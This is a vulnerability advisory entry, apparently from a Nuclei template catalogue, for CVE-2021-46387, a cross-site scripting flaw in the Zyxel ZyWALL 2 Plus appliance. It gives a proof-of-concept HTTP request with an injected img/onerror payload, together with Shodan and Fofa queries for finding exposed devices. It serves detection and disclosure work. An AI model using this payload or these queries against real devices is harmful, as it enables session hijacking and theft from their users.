| Title | Zyxel ZyWALL 2 Plus Internet Security Appliance - Cross-Site Scripting |
|---|---|
| Author | DhiyaneshDk |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Apply the latest security patches or firmware updates provided by Zyxel to mitigate this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.28486 |
| CVE ID | CVE-2021-46387 |
| CWE ID | CWE-79 |
| Shodan Query | http.title:"Zywall2Plus"http.title:"zywall2plus" |
| Fofa Query | title="zywall2plus" |
| Tags | cve2021 cve xss zyxel edb vuln |
ZyXEL ZyWALL 2 Plus Internet Security Appliance contains a cross-site scripting vulnerability. Insecure URI handling leads to bypass of security restrictions, which allows an attacker to execute arbitrary JavaScript codes to perform multiple attacks.
GET /Forms/rpAuth_1?id=</form><iMg%20src=x%20onerror="prompt(document.domain)"><form> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-46387.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-46387.pcap
N/AN/A